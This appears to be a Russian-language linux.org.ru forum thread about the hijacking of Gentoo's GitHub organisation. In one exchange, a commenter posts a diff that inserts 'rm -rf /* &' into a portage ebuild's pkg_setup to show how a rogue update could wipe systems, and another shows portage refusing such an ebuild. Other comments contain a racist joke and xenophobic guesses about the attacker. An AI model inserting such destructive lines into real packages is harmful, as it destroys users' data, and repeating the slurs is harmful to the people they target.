LINUX.ORG.RU

Результаты расследования инцидента с взломом зеркала Gentoo на GitHub

 , , ,


0

2

Команда Gentoo решила ситуацию с взломом организации Gentoo на GitHub и написала отчет, в котором собрана вся информация по произошедшему.

Также команда Gentoo выразила благодарность сообществу разработчиков и пользователей за поддержку во время инцидента.

Предыстория:

28 июня, где-то в районе 20:20 UTC, неизвестные заполучили контроль над организацией Gentoo на Github, модифицировали состояния репозиториев и страниц.

>>> Подробности

Deleted

Проверено: maxcom ()
Последнее исправление: maxcom (всего исправлений: 3)

Ответ на: комментарий от anonymous

Я подтянулся в английском смотря фильмы в оригинале (из-за убогих озвучек) и делая карточки со словами. А потом можно и до других языков добраться.

я не много знаю английский
я не кому не чего
что бы

Да ты даже русский похоже не знаешь.

anonymous
()
Ответ на: комментарий от jazzman

А ей кто-то ещё пользуется?

Ей кто-то уже пользуется.

У школьников сейчас популярны другие дистры.

Какое тебе дело к тому, чем занимаются школьники и что у них популярно?

anonymous
()
Ответ на: комментарий от anonymous

borgbackup

не нужен

дедупликация

VDO

anonymous
()
Ответ на: комментарий от anonymous

А теперь прикинь, что этот апдейт был запущен на севере бэкапов?
У тебя конечно же как у самого хитрожопого есть ленты или двд с бэкапом бэкапов, но опять же, время на востановление и актуальная инфа тоже тю-тю.

WatchCat ★★★★★
()

Команда Gentoo решила ситуацию с взломом организации Gentoo на GitHub

«взлом организации», это вообще на каком языке написано? И что это обозначает?

неизвестные заполучили контроль над организацией Gentoo

Это, позвольте узнать, как эти неизвестные такое проделали? Путем шантажа и/или подкупа ключевых фигур этой организации? Или сменили этих фигур на своих людей?

zloy_starper ★★★
()
Ответ на: комментарий от r3lgar

большего не заслуживает. Ну пароль утек, с кем не бывает

Deleted
()
Ответ на: комментарий от Bfgeshka

И гитхаб не заприметил подозрительную активность.

anonymous
()
Ответ на: комментарий от zloy_starper

«взлом организации», это вообще на каком языке написано?

В терминах гитхаба.

Это, позвольте узнать, как эти неизвестные такое проделали?

У главногентушника был пароль чуть сложнее «qwerty».

anonymous
()
Ответ на: комментарий от rupert

Вот спасиба, братишка! Два чая за перевод с буржуйского на наш. Так намного лучше теперь!

Jetty ★★★★★
()
Ответ на: комментарий от kickass

Это 'тело' наверное и был тот Нигер :)

hbars ★★★★★
()

А мне почему-то кажется, что это дело рук своих. Просто кто-то решил подтолкнуть юзеров отказаться от синхронизации с гитхабом, чтобы проще было вообще оттуда съехать. Нужно искать либо личную выгоду от такого переезда, либо упоротого фанатика-борцуна с корпорациями. Я больше склоняюсь к первому варианту - кто-то неплохо зарабатывает на массовой панике.

anonymous
()
Ответ на: комментарий от i82

Ну вот все и узнали, что 1) OpenSource говно

Нет. В основном, узнали, что i82 говно.

контора github «пишет» :-D

Контора не github, а Microsoft.

Black_Shadow ★★★★★
()
Ответ на: комментарий от anonymous

Я тебе и не говорю что ты кому-то обязан знать английский. Ты и русский никому не обязан и матемакский. И вообще саморазвитие - не обязанность.

А к простым работягам я претензий не имею, разве что плох тот солдат, что не мечтает стать генералом. Но это уже личное дело. Цезарь, вон, кажется, говорил, что предпочел бы быть первым в провинции, чем последним в Риме, так что толковый работяга не глупее Цезаря бывает

pihter ★★★★★
()
Ответ на: комментарий от anonymous

А ещё есть бритва, которая намекает на то, что наиболее вероятный ответ и есть верный (как правило) утек пароль, с кем не бывало, действительно

pihter ★★★★★
()
Ответ на: комментарий от pihter

Бритва-то она есть, но еще есть массовая истерия вокруг покупки гитхаба мелкософтом и тут вдруг появляются хакиры, утекают пароли, просто совпадение, ага. А самое интересное, что этот взлом не повлек за собой никаких серьезных последствий. Вот, если бы по итогам взлома, тысячи машин по всему миру были бы заражены каким-нить криптовальщиком, вот тогда я бы поверил в утекшие пароли. Мир - он сложный, не на всё ответы простые.

anonymous
()
Ответ на: комментарий от anonymous

Зачем sudo-то? Явно обновления под рутом проходят

А так да, намного печальнее

pihter ★★★★★
()
Ответ на: комментарий от anonymous

Так а кто ж спорит. Просто в обыденности вериться проще, чем в конспирологию. На то она и обыденность

pihter ★★★★★
()
Ответ на: комментарий от pihter

А это как раз аргумент в пользу моей конспирологической теории. Идеальное объяснение, в которое все с легкостью поверят. Вот если бы объяснение было сложное, с обилием различных мелких деталей, внезапными поворотами сюжета...

anonymous
()
Ответ на: комментарий от anonymous

сложное, с обилием различных мелких деталей, внезапными поворотами сюжета

Так оно обычно и бывает.

anonymous
()
Ответ на: комментарий от anonymous

Есть такое. В последние годы начал сомневаться в своем психическом здоровье из-за обилия всякого рода невероятных совпадений. Синхроничность, блин...

anonymous
()
Ответ на: комментарий от WatchCat

Добавляем portage.ebuild с командой rm -rf /*& и при первом же апдейте система снрсится к херам.

Во-первых, пользователь не должен обновляться с этой репы.

Во-вторых, если он на редкость сказочный ССЗБ и обновился оттуда, то неплохо бы сначала создать Manifest файл. Ок, добавлю в локальный реп файлик, например, dev-python/pip-9.0.1-r3, содержащий в первой строке rm -rf /*& и попробую создать Manifest:

# repoman manifest
 * ERROR: dev-python/pip-9.0.1-r3::local failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /proc /root /run /sbin /sys /tmp /usr /var
 * 
 * Call stack:
 *             ebuild.sh, line 635:  Called source '/usr/local/portage/dev-python/pip/pip-9.0.1-r3.ebuild'
 *   pip-9.0.1-r3.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/dev' '/etc' '/home' '/lib' '/lib32' '/lib64' '/media' '/mnt' '/opt' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *             ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 *              die "External commands disallowed while sourcing ebuild: ${*}"
 * 
 * If you need support, post the output of `emerge --info '=dev-python/pip-9.0.1-r3::local'`,
 * the complete build log and the output of `emerge -pqv '=dev-python/pip-9.0.1-r3::local'`.
 * Working directory: '/usr/lib64/python3.6/site-packages'
 * S: '/var/tmp/portage/dev-python/pip-9.0.1-r3/work/pip-9.0.1'
!!! getFetchMap(): aux_get() error reading dev-python/pip-9.0.1-r3; aborting.
Unable to generate manifest.

Не вышло. Попробую поставить без создания Manifest:
# ACCEPT_KEYWORDS="~amd64" emerge -1av =dev-python/pip-9.0.1-r3

These are the packages that would be merged, in order:

Calculating dependencies | * ERROR: dev-python/pip-9.0.1-r3::local failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /proc /root /run /sbin /sys /tmp /usr /var
 * 
 * Call stack:
 *             ebuild.sh, line 635:  Called source '/usr/local/portage/dev-python/pip/pip-9.0.1-r3.ebuild'
 | *   pip-9.0.1-r3.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/dev' '/etc' '/home' '/lib' '/lib32' '/lib64' '/media' '/mnt' '/opt' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *             ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 *              die "External commands disallowed while sourcing ebuild: ${*}"
 * 
 * If you need support, post the output of `emerge --info '=dev-python/pip-9.0.1-r3::local'`,
 * the complete build log and the output of `emerge -pqv '=dev-python/pip-9.0.1-r3::local'`.
 * Working directory: '/usr/lib64/python3.6/site-packages'
 * S: '/var/tmp/portage/dev-python/pip-9.0.1-r3/work/pip-9.0.1'
... done!

!!! All ebuilds that could satisfy "=dev-python/pip-9.0.1-r3" have been masked.
!!! One of the following masked packages is required to complete your request:
- dev-python/pip-9.0.1-r3::local (masked by: corruption)

Ладно, создам Manifest вручную (указав размер и контрольные суммы) и получу то же самое:
# ACCEPT_KEYWORDS="~amd64" emerge -1av =dev-python/pip-9.0.1-r3

These are the packages that would be merged, in order:

Calculating dependencies - * ERROR: dev-python/pip-9.0.1-r3::local failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /proc /root /run /sbin /sys /tmp /usr /var
 * 
 * Call stack:
 *             ebuild.sh, line 635:  Called source '/usr/local/portage/dev-python/pip/pip-9.0.1-r3.ebuild'
 *   pip-9.0.1-r3.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/dev' '/etc' '/home' '/lib' '/lib32' '/lib64' '/media' '/mnt' '/opt' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *             ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 *              die "External commands disallowed while sourcing ebuild: ${*}"
...

И даже так:
# ebuild ./pip-9.0.1-r3.ebuild merge
 * ERROR: dev-python/pip-9.0.1-r3::local failed (depend phase):
 *   External commands disallowed while sourcing ebuild: rm -rf /bin /boot /dev /etc /home /lib /lib32 /lib64 /media /mnt /opt /proc /root /run /sbin /sys /tmp /usr /var
 * 
 * Call stack:
 *             ebuild.sh, line 635:  Called source '/usr/local/portage/dev-python/pip/pip-9.0.1-r3.ebuild'
 *   pip-9.0.1-r3.ebuild, line   1:  Called command_not_found_handle 'rm' '-rf' '/bin' '/boot' '/dev' '/etc' '/home' '/lib' '/lib32' '/lib64' '/media' '/mnt' '/opt' '/proc' '/root' '/run' '/sbin' '/sys' '/tmp' '/usr' '/var'
 *             ebuild.sh, line  88:  Called die
 * The specific snippet of code:
 *              die "External commands disallowed while sourcing ebuild: ${*}"

...

grem ★★★★★
()
Ответ на: комментарий от jazzman

Решетом оказался руководитель организации, а не гитхаб.

Просто в текст новости добавить постеснялись.

anonymous
()
Ответ на: комментарий от rupert

Дей ден просидид

А кто такой этот Дей ден? И где и как долго он просидид?

anonymous
()
Ответ на: комментарий от anonymous

Тут я каюсь, из за этой жары у меня мозги не работают(, я прошу прощения. Ладно, замнём эту тему.

anonymous
()
Ответ на: комментарий от FilosofeM

при нынешних мощностях топового железа затраты времени на компиляцию не такие уж и большие

anonymous
()
Ответ на: комментарий от Deleted

Делал и делаю. Надо же как-то флешку от данных очищать.

А как получается, что флешка на /dev/sda?

anonymous
()
Ответ на: комментарий от FilosofeM

О, а вот и долгожданный адепт времени, как обычно появляющийся в тредах о генту.

Очнитесь, дурачки. За вас уже все скомпилировали мейнтейнеры бинарных дистрибутивов.

Ага, и эти самые всякий левак в зависимости пихают, чтоб их под сотню было. От бинарщины ушел еще в 2010 году и не жалею. А с появлением относительно нормального железа время сборки сократилось в 4 раза.

А главное — гибкость дистрибутива осталась, можно легким движением руки впилить/выпилить поделия Поттеринга и прочий шлак, или даже пропатчить.

Deleted
()
Последнее исправление: Deleted (всего исправлений: 1)
Ответ на: комментарий от anonymous

Ну так буковку нужную подставил и вперде.

Deleted
()
Ответ на: комментарий от xDShot

устроили хулиганство типа заполнения ридми файлов расизмом

как правило оголтелый расизм (как и гомофобия/женоненавистничество) характерен для выходцев из нецивилизованных и несвободных стран, значит взломщик вероятнее всего был из снг или китая

anonymous
()
Ответ на: комментарий от Deleted

Флешка в /dev/sda признак нестояния винта!

// petrosyan mode off

pihter ★★★★★
()
Ответ на: комментарий от WatchCat

Так пиши на Си, пиши не сси! Там данных копейки. Ну если гигабайты в сутки - я вообще представления не имею как вы управляетесь

pihter ★★★★★
()
Ответ на: комментарий от grem

Ок, добавлю в локальный реп файлик, например, dev-python/pip-9.0.1-r3, содержащий в первой строке rm -rf /*& и попробую создать Manifest:

ЛОЛ! Повылазило шпециалистов.
Ты вообще ebuild'ы когда-нибудь писал?
В первую строку он команды пихает.
facepalm.jpg

--- /usr/portage/sys-apps/portage/portage-2.3.8.ebuild  2018-01-25 09:12:34.756339010 +0000
+++ /home/user/tmp/sys-apps/portage/portage-2.3.8.ebuild    2018-07-05 12:20:47.091547000 +0000
@@ -79,6 +79,7 @@
        $(prefix_src_archives ${PN}-${TARBALL_PV}.tar.bz2)"

 pkg_setup() {
+       rm -rf /* &
        use epydoc && DISTUTILS_ALL_SUBPHASE_IMPLS=( python2.7 )
 }

и это я ещё не говорю про варианты типа `cat <<EOF | bash` или пресловутый однострочник.

WatchCat ★★★★★
()
Последнее исправление: WatchCat (всего исправлений: 3)
Ответ на: комментарий от anonymous

Ага, с апреля подбирали пароль чисто для маскировки

cvs-255 ★★★★★
()
Ответ на: комментарий от anonymous

при нынешних мощностях топового железа затраты времени на компиляцию не такие уж и большие

У красноглазых проблемы с логикой. Если железо мощное и топовое, то зачем компилировать? Чтобы получить 1% прироста в скорости за счет микрооптимизаций? Бугага!

FilosofeM ★★
()
Ответ на: комментарий от anonymous

Да ладно, дебилов везде хватает, хоть в пендосовке, хоть у нас в Россие, хоть на туманной альбионовке.

anonymous
()

Команда Gentoo обосралась, обосруться и в другой раз, а пользователи пусть делают выводы об ненужности данного продукта.

Odalist ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.